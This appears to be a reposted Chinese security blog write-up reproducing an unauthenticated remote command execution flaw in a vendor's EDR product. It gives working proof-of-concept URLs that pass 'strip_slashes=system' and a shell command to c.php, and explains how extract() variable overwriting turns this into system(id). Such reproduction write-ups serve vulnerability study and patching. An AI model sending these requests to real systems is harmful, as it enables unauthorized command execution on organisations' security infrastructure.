深某服EDR漏洞复现 – 作者:hahali

搭建一个edr环境

图片[1]-深某服EDR漏洞复现 – 作者:hahali-安全小百科

https://XXX.com/tool/log/c.php?strip_slashes=system&host=id

图片[2]-深某服EDR漏洞复现 – 作者:hahali-安全小百科

https://XXX.com/tool/log/c.php?strip_slashes=system&host=whoami

图片[3]-深某服EDR漏洞复现 – 作者:hahali-安全小百科

将c.php文件拷贝到本地进行分析,能看到此文件最初是用来查看ldb的日志的。但复现时发现此界面不需要登陆就可以访问,因此也存在未授权访问的危险。

图片[4]-深某服EDR漏洞复现 – 作者:hahali-安全小百科

首先查看输出

$_REQUEST会将接入的参数保存成数组,然后将前台获取的参数传入到了$show_form()

图片[5]-深某服EDR漏洞复现 – 作者:hahali-安全小百科

跟进$show_form

图片[6]-深某服EDR漏洞复现 – 作者:hahali-安全小百科

$show_form是匿名函数,use是调用外部变量$strip_slashes、$show_input。

extract() 函数会从数组中将变量导入到当前的符号表。它会把数组变成变量,该函数使用数组键名作为变量名,使用数组键值作为变量值。

因此,extract()存在变量覆盖问题,上述poc就是利用了此处的变量覆盖。

于是传入的参数就变成了$strip_slashes=system、$host=id

在91行中使用了$strip_slashes($host),结合poc,于是该处就变成了sysytem(id)执行了系统命令,产生了该漏洞。

来源:freebuf.com 2020-08-19 16:44:40 by: hahali

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论